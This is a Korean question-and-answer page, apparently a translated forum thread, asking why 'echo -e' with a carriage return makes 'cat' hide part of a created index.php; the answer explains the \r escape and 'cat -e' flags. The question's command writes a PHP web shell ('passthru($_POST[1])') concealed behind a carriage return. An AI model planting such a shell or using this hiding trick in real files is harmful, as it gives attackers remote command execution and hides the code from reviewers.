!['-e' 매개변수를 에코하면 어떻게 되나요?](https://linux55.com/image/74038/'-e'%20%EB%A7%A4%EA%B0%9C%EB%B3%80%EC%88%98%EB%A5%BC%20%EC%97%90%EC%BD%94%ED%95%98%EB%A9%B4%20%EC%96%B4%EB%96%BB%EA%B2%8C%20%EB%90%98%EB%82%98%EC%9A%94%3F.png)
보시다시피 제가 만든 것은 index.php
다음과 같습니다.
$ echo -e "<?php passthru(\$_POST[1])?>\r<?php echo 'A PHP Test ';" > index.php
그런 다음:
$ cat index.php
<?php echo 'A PHP Test ';?>
하지만:
$ cat -e index.php
<?php passthru($_POST[1])?>^M<?php echo 'A PHP Test ';$
이것을 어떻게 설명해야 할까요?
답변1
~에서남자 에코
-e
enable interpretation of backslash escapes
If -e is in effect, the following sequences are recognized:
\r
carriage return
~에서인간 고양이
-e
equivalent to -vE
-E, --show-ends
display $ at end of each line
-v, --show-nonprinting
use ^ and M- notation, except for LFD and TAB
내가 이해한 바에 따르면 \r
표현식은 캐리지 리턴을 반환하므로 리턴 이후의 모든 내용을 에코하므로 출력을 단순화할 때 cat index.php
출력은 입니다 <?php echo 'A PHP Test ';?>
.
옵션을 사용 하면 옵션과 마찬가지로 cat
인쇄되지 않는 문이 있고 -e
줄 맨 끝에 옵션이 인쇄됩니다.^M
$
-E